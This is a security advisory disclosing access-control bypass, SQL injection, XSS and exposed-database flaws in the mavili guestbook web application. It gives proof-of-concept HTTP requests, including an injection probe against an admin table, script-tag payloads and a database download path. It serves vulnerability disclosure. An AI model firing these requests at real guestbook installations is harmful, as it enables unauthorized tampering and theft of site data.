Mavili Guestbook 200711 Cross Site Scripting / SQL Injection

`Title: mavili guestbook - SQL Injection and XSS Vulnerabilities  
  
Software : mavili guestbook  
  
Software Version : 200711  
  
Vendor: http://code.google.com/p/maviliguestbook/   
  
Vulnerability Published : 2012-01-03  
  
Vulnerability Update Time :  
  
Status :   
  
Impact : High  
  
Bug Description :  
mavili guestbook(version update : 200711) is vulnerable with Security Access Control Bypass, SQL Injection, XSS, etc.  
  
Proof Of Concept :  
1)Security Access Control Bypass:  
User can edit, approve and delete messages without admin permission, POC below (Remarks: id=91 exists was necessary) :  
1.1)GET http://192.168.10.211/edit.asp?id=91  
1.2)GET http://192.168.10.211/delete.asp?id=91  
1.3)GET http://192.168.10.211/approve.asp?id=91&show=true  
  
2)SQL Injection:  
2.1)id in /edit.asp, PoC below (Remarks: id=91 exists was necessary) :  
GET http://192.168.10.211/edit.asp?id=92 and 0<(select count(*) from [admin])  
  
3)XSS:  
3.1)id in /approve.asp, PoC:  
GET http://192.168.10.211/approve.asp?id=<SCRipt>alert('demonalex')</scrIPT>&show=true  
3.2)id in /delete.asp, PoC:  
GET http://192.168.10.211/delete.asp?id=<SCRipt>alert('demonalex')</scrIPT>  
3.3)id in /edit.asp, PoC:  
GET http://192.168.10.211/edit.asp?id=<SCRipt>alert('demonalex')</scrIPT>  
3.4)id in /edit2.asp, PoC:  
POST http://192.168.10.211/edit2.asp  
------------------------------------  
id=<SCRipt>alert('demonalex')</scrIPT>&name=aaa&country=1&[email protected]&website=http://&submit=Send&message=aaa  
  
4)Default Database Path:  
4.1)GET http://192.168.10.211/guestbook.mdb  
  
Credits : This vulnerability was discovered by demonalex(at)163(dot)com  
mail: demonalex(at)163(dot)com / [email protected]  
Pentester/Researcher  
Dark2S Security Team/PolyU.HK  
`